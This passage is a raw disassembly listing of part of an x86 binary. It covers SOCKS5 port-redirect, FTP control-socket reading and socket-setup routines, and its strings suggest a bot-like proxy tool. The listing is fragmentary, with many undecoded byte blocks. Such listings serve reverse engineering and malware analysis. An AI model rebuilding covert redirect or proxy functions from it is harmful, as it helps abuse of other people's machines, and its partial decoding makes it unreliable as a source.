redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3ED push offset byte_446F60 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A7D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 54E89051h dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44545868h, 0A57CE800h, 83907780h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44543068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h, 80A435E8h dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h dd 54286824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: ___:0042D266p ; sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3CC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3CC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445220 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, 